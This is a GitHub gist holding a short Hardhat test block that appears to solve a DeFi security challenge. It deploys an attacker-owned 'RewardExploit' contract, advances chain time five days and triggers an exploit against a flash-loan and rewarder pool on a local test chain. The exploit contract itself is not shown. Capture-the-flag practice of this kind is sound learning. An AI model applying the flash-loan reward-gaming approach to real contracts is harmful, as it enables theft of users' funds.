Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 29, 2023 08:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save az0mb13/15670c59a9593577ebd77d017eec65c9 to your computer and use it in GitHub Desktop.
Save az0mb13/15670c59a9593577ebd77d017eec65c9 to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
const RewardExploit = await ethers.getContractFactory('RewardExploit', attacker);
const exploit = await RewardExploit.deploy(attacker.address, this.flashLoanPool.address, this.liquidityToken.address, this.rewarderPool.address, this.rewardToken.address);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await exploit.exploit(TOKENS_IN_LENDER_POOL);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment